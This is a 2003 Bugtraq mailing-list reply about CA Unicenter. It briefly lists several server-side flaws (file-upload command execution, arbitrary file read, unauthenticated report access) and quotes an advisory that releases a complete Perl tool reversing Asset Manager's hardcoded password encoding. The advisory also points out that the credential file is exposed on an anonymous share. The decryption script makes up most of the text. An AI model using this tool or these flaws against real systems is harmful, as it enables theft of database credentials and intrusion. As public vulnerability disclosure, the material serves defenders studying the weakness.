[30355] in bugtraq
Re: CA Unicenter Password Recovery Tool
daemon@ATHENA.MIT.EDU (Joao Gouveia)
Wed Jun 4 18:11:44 2003
From: Joao Gouveia <tharbad@kaotik.org>
To: Tor Houghton <info@kufumo.com>
In-Reply-To: <20030604152717.GA6674@bogus.net>
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-M4B1qh1yQiOA4Zzf6e2/"
Message-Id: <1054750897.2685.13.camel@harm.worklab.local>
Mime-Version: 1.0
Date: 04 Jun 2003 19:21:37 +0100
--=-M4B1qh1yQiOA4Zzf6e2/
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Hello Tor, all
While you're at it, you might want to take a look at this. I've came
across with this vulnerabilities while doing a superficial review on
CA's TNG Unicenter. Not sure if some of this may afect "Asset Manager"
or not.
<quote>
#1. Remote command execution via file upload (
http://machine/scripts/file_upload.pl )
#2. A helpdesk user with no special access rights can read any file on
the system were the Service desk daemon has access ( by default
Local/SYSTEM ). The pdmcgi.exe except "templates" as a parameter without
further security check regarding what type of files can be used as
"templates".
#3. pdm_cgireport.exe allows to create and browse any report without
prior authentication.=20
#4. Normal user, who is configured to see only his requests, is able to
see all requests by manipulating pdmcgi.exe queries.
</quote>
AFAIK, all this issues have been fixed, but I have no clue if the fixes
are public or not. You should contact CA if you feel you might be
vulnerable.
Best regards,
Joao Gouveia
------------
tharbad@kaotik.org
On Wed, 2003-06-04 at 16:27, Tor Houghton wrote:
> List,
>=20
> The following can also be found at:
>=20
> http://www.kufumo.com/releases/ca-passwordrecover.txt
>=20
> Thanks,
>=20
> Tor Houghton
>=20
> ;
>=20
> $Id: ca-passwordrecover.txt,v 1.3 2003/05/20 10:46:51 torh Exp $
>=20
> Computer Associates "Asset Manager" Password Recovery Tool
>=20
> (c) 2003 Tor Houghton (th at kufumo dot com)
>=20
>=20
> ++Synopsis++
>=20
> The Computer Associates' Unicenter Asset Manager(TM) software uses a stor=
ed=20
> secret in order to decrypt stored passwords. Attached to this text is a t=
ool=20
> to decrypt these passwords.
>=20
>=20
> ++What++
>=20
> (http://www3.ca.com/Solutions/Collateral.asp?CID=3D33237&ID=3D194)
>=20
> Simply put, it is a data collector with extended privileges. It is compri=
sed
> of an "Engine" (and a database), one or more "Sectors", a "Console" and a=
n=20
> "Agent" for each device (Windows or UNIX) that is to be added to the asse=
t=20
> database (see fig 1).
>=20
> [Console] +-------- [Agent]
> | |
> v v
> [Database] <-- [Engine] --> [Sector] <-- [Agent]
> |
> +-------> [Sector] <-- [Agent]
> ^
> |
> +-------- [Agent]
>=20
> (figure 1)
>=20
> The arrows do not depict data flow, but transaction flow. For example, th=
e=20
> Agents do get data from the Sector (and deliver data to it), but the Agen=
t=20
> initiates this transaction.
>=20
> The Engine issues jobs and collects results (both stored on the Sector) a=
nd
> the Agent executes these.
>=20
> On the whole, this looks like a nice design; you could easily firewall th=
e=20
> Engine, Console and Database from the rest of the network, for example.=20
> However, the Sector is (by default) a NULLSESSION share, writable by anyo=
ne.
>=20
> Anyway. This document is not about whether or not it is possible to compr=
omise
> any machine with an Agent on it through a Sector, but to release a passwo=
rd=20
> recovery tool.
>=20
> Here it is.
>=20
> --
>=20
> #!/usr/bin/perl
> $version=3D'ca-dbpwrecover 1.2 2003/03/19';
> ##
> ## (c) th at kufumo.com 2003
> ##
> ## this version was based on AMO Unicenter 3.2
> ##
> ## thanks to emf at kufumo.com and ssw at kufumo.com for help with the=20
> ## disassembly and helping to reverse the encoding algorithm! go daddy!
> ##=20
> ## can't find a suitable file?
> ##
> ## (a default installation has the file 'Database.ini' available via a=20
> ## nullsession share ("amdomain$") on the machine running the console/
> ## engine.)
> ##
> ##
> $|=3D1;
> ##
>=20
> $ironic_seed=3D"NetCon"; ## we predict $ironic_seed will change
> ## in the next version of CA AMO etc.
>=20
> $CRYPT=3D"BP7xCtDQqA2EZWoFH6wSIJeMzdYLb9Vfm5uNO4cKRGT3kUX018apyghijlnrsv"=
;
> $CLEAR=3D"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"=
;
>=20
> use Getopt::Long;
>=20
> GetOptions("h",
> "u=3Ds" =3D> \$uname,
> "p=3Ds" =3D> \$pword,
> "f=3Ds" =3D> \$file);
>=20
> if($opt_h) {
> print <<EOM;
> $version (c) 2003 th at kufumo.com
> usage: ca-dbpwrecover [-h] [-u <username>] [-p <passwd>] [-f <file>]
> -h : this
> -p : password (if not using files)
> -u : username (if not using files)
> -f : filename (e.g. 'ca-dbpwrecover -f Database.ini')
> EOM
> exit(1);
> }
>=20
> if($file) {
> DecryptCAEncryption("","",$file);
> } else {
> if($pword && $uname) {
> DecryptCADecryption($pword,$uname,"");
> exit(0);
> } else {
> print "Not enough parameters. Try -h.\n";
> exit(1);
> }
> }
>=20
> exit();
>=20
> sub DecryptCAEncryption {
> my($pword,$uname,$file)=3D@_;
>=20
> my($u,$c,$oa,$ob,$offset);
>=20
> my(@crypt)=3Dsplit(//,$CRYPT);
>=20
> if($file) {
> open(IN,$file) || die "error: failed to open $file: $!\n";
> while(<IN>) {
> if(/^UserName=3D\#(\S+)\s*$/) {$name=3D$1;}
> if(/^Password=3D\#(\S+)\s*$/) {$pass=3D$1;}=20
> }
> close(IN);
> }
>=20
> $uname=3D$name if($name);
> $pword=3D$pass if($pass);
>=20
> @pass=3Dsplit(//,$pword);
> @user=3Dsplit(//,$uname);
>=20
> @nc=3Dsplit(//,$ironic_seed);
>=20
> print "Username: ";
>=20
> $c=3D5;
> for($u=3D0;$u<@user;$u++) {
>=20
> ## find occurrance of current char ($user[$u]) in cleartext
> ## keystring:
>=20
> $_=3D$CLEAR;
>=20
> while(m/$user[$u]/g) {
> $oa=3Dpos;
> }
>=20
> $oa++;
>=20
> if($u<@nc) {
> $_=3D$CRYPT;
> while(m/$nc[$u]/g) {
> $ob=3Dpos;
> }
> $ob++;
> $oa=3D$oa+($ob*-1);
> } else {
> $oa=3D$oa-$u+$c;
> $c++;
> }
>=20
> while($oa<0) {
> $oa=3D$oa+62;
> }
> while($oa>62) {
> $oa=3D$oa-62;
> }
>=20
> $oa--;
>=20
> push(@clear,$crypt[$oa-1-$u]);
>=20
> }
>=20
> foreach(@clear) {
> print $_;
> }
>=20
> print "\n";
>=20
> ## who said reuse of code is a good thing?
> ## i think i failed class here. heck, did you want the tool or not?
> ##
>=20
> print "Password: ";
>=20
> $c=3D@clear;
>=20
> for($u=3D0;$u<@pass;$u++) {
>=20
> ## find occurrance of current char ($user[$u]) in cleartext
> ## keystring:
>=20
> $_=3D$CLEAR;
>=20
> while(m/$pass[$u]/g) {
> $oa=3Dpos;
> }
> $oa++;
>=20
> if($u<@clear) {
> $_=3D$CRYPT;
> while(m/$clear[$u]/g) {
> $ob=3Dpos;
> }
> $ob++;
> $oa=3D$oa+($ob*-1);
> } else {
> $oa=3D$oa-$u+$c-1;
> $c++;
> }
>=20
> while($oa<0) {
> $oa=3D$oa+62;
> }
> while($oa>62) {
> $oa=3D$oa-62;
> }
>=20
> $oa--;
>=20
> push(@cpass,$crypt[$oa-1-$u]);
>=20
> }
>=20
> foreach(@cpass) {
> print $_;
> }
>=20
> print "\n";
>=20
> }
--=-M4B1qh1yQiOA4Zzf6e2/
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iD8DBQA+3jixBhvB6ogSmsoRAsimAJ9SeE0ftQb8+RA2vcz+WKduWaotsgCgl4YK
kBWyTEzQ+x5+qqHAi1phnQE=
=wTrr
-----END PGP SIGNATURE-----
--=-M4B1qh1yQiOA4Zzf6e2/--
